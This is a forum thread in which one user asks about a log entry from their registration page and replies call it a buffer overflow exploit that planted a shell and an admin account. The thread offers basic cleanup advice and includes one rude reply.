You are a failure. For a register page, just take any reg scripts from Release section, as an example, and start to modify it. You have to know some php, and you have to know abit sql too, for the stored procedures.
Well I`ve done mine in like 20 minutes.

But I doubt you want to learn something.

Want to leech one dont you?

Leeching and learning goes in the same way.
You can never learn without any inputs(leeching) though.

The most important is to share the output from what you learn.

That was from the logs in my registration page.

Does the one he gave work????

doesnt look like OP is asking for a register page, he's posted a log he got from his register page he is using showing a buffer overflow exploit someone used on him and is asking how it affects him. now as for an answer im not 100% sure as i havent worked much in buffer overflows lately (not much need) but it more than likely works to crash your webserver, but as i say im not entirely sure, if your webserver did crash after this exploit was used on you then upgrade it with the latest updates available

EDIT: looking through it in detail looked like whoever was doing it uploaded a shell onto your server and added a remote account with admin privelages onto your server machine, so they would have the exact same access as you have and be able to do pretty much what they want, user accounts to make sure there isnt any there what shouldn't be i.e the one the exploit made and remove it and then upgrade server like i said before and it should stop it happening again, if there is no updates id suggest putting your server down until there is and then look into how to stop it before putting it back up
